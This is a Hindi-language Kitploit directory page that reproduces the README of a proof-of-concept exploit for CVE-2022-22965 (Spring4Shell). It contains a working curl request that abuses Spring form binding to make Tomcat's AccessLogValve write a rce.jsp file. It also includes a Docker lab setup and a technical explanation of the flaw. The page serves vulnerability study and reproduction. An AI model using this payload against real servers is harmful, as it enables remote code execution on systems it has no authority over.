Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-22965-PoC — CVE-2022-22965 (Spring4Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Tomcat AccessLogValve हेरफेर के माध्यम से दूरस्थ कोड निष्पादन प्रदर्शित करता है। इसमें Docker-आधारित पुनरुत्पादन वातावरण और विस्तृत तकनीकी विश्लेषण शामिल है। | Kitploit
उपकरण/GitHubGitHub/kirill89/cve-2022-22965-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

CVE-2022-22965 (Spring4Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Tomcat AccessLogValve हेरफेर के माध्यम से दूरस्थ कोड निष्पादन प्रदर्शित करता है। इसमें Docker-आधारित पुनरुत्पादन वातावरण और विस्तृत तकनीकी विश्लेषण शामिल है।

रिपॉजिटरी देखें
322114 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-22965 PoC

CVE-2022-22965 Spring RCE को पुनरुत्पादित करने का न्यूनतम उदाहरण।

डॉकर कम्पोज़ का उपयोग करके चलाएं

  1. डॉकर कम्पोज़ का उपयोग करके एप्लिकेशन बनाएं
    root@kitploit:~
    docker-compose up --build
    
  2. एप्लिकेशन का परीक्षण करने के लिए देखें http://localhost:8080/handling-form-submission-complete/greeting
  3. एक्सप्लॉइट चलाएं
    root@kitploit:~
    ./exploits/run.sh
    
  4. एक्सप्लॉइट वेब सर्वर पर webapps/handling-form-submission-complete में rce.jsp फ़ाइल बनाएगा।
  5. एक्सप्लॉइट का उपयोग करें देखें http://localhost:8080/handling-form-submission-complete/rce.jsp

वैकल्पिक तरीका (डिबग उन्मुख)

  1. डॉकर में टॉमकैट सर्वर चलाएं

    root@kitploit:~
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0

यदि आप दूरस्थ रूप से डिबग करना चाहते हैं तो -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" जोड़ें।

  • प्रोजेक्ट बनाएं

    root@kitploit:~
    ./mvnw install
    
  • एप्लिकेशन को तैनात करें

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  • एक्सप्लॉइट लिखें

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    एक्सप्लॉइट वेब सर्वर पर webapps/handling-form-submission-complete में rce.jsp फ़ाइल बनाएगा।

  • एक्सप्लॉइट का उपयोग करें

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    अब आप कंटेनर के टर्मिनल में 123 देखेंगे। मनमाना कोड निष्पादित करने के लिए System.out.println(123) को अपने पेलोड से बदलें।

  • संक्षिप्त तकनीकी व्याख्या

    1. Spring जानता है कि फॉर्म फ़ील्ड्स को Java ऑब्जेक्ट से कैसे बाइंड किया जाता है। हमारे उदाहरण में GreetingController /greeting एंडपॉइंट पर POST अनुरोधों को संभालता है और फॉर्म फ़ील्ड्स को Greeting ऑब्जेक्ट से बाइंड करता है।
    2. यह नेस्टेड फ़ील्ड्स (जैसे user.info.firstname) के बाइंडिंग का भी समर्थन करता है। संदर्भ के लिए AbstractNestablePropertyAccessor देखें।
    3. हमारे उदाहरण में Greeting क्लास में दो फ़ील्ड्स id और content हैं, लेकिन वास्तव में इसका Class ऑब्जेक्ट का भी संदर्भ है। हम क्लासलोडर तक पहुँचने के लिए class.module.classLoader को फॉर्म डेटा कुंजी के रूप में उपयोग कर सकते हैं।
    4. फिक्स में हम देख सकते हैं कि मुख्य परिवर्तन Class ऑब्जेक्ट के अधिकांश गुणों तक पहुँच को प्रतिबंधित करना था, जिसमें module गुण भी शामिल है।
    5. यह व्यवहार हमें Greeting वर्ग से नेस्टेड संदर्भ श्रृंखला के माध्यम से सुलभ वर्गों के सार्वजनिक गुणों को सेट करने की अनुमति देता है। और कुछ नहीं। अधिकांश मामलों में यह खतरनाक भी नहीं है क्योंकि class.module.classLoader. से भी सार्वजनिक फ़ील्ड वाले कोई वर्ग उपलब्ध नहीं हैं।
    6. यह टॉमकैट सर्वर पर एक समस्या बन जाता है क्योंकि वहां क्लासलोडर में getResources एक्सेसर होता है जो हमें संदर्भ श्रृंखला जारी रखने और AccessLogValve वर्ग के एक इंस्टेंस तक पहुँचने की अनुमति देता है।
    7. यह वर्ग लॉग लिखने के लिए है। हम कुछ गुण बदलते हैं ताकि यह हमारी पसंद के नाम और सामग्री वाली फ़ाइलें लिखे। इस बिंदु पर हमारे पास मनमाना फ़ाइल लेखन है।
    8. हम एप्लिकेशन फ़ोल्डर के रूट में दुर्भावनापूर्ण पेलोड के साथ jsp फ़ाइल बनाते हैं। चूंकि jsp टॉमकैट द्वारा स्वचालित रूप से निष्पादित होते हैं, हम ब्राउज़र में इसे नेविगेट कर सकते हैं और अंततः पेलोड निष्पादित कर सकते हैं। अब यह RCE है।

    शर्तें

    एक्सप्लॉइट केवल टॉमकैट पर काम करता है क्योंकि इसमें विशेष क्लासलोडर है। हालांकि समान संदर्भ श्रृंखला अन्य वेब एप्लिकेशन सर्वरों पर भी मौजूद हो सकती है। यह अभी तक सरलता से खोजा नहीं गया है।

    एक्सप्लॉइट के लिए Java 9 या उससे ऊपर की आवश्यकता है क्योंकि module गुण Java 9 में जोड़ा गया था।

    संदर्भ

    • सर्वर भाग चरण-दर-चरण मैनुअल https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a पर आधारित है।
    • एक्सप्लॉइट भाग https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py स्क्रिप्ट पर आधारित है।
    • भेद्यता के बारे में Snyk सलाह यहाँ उपलब्ध है: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
    टूल डाउनलोड करें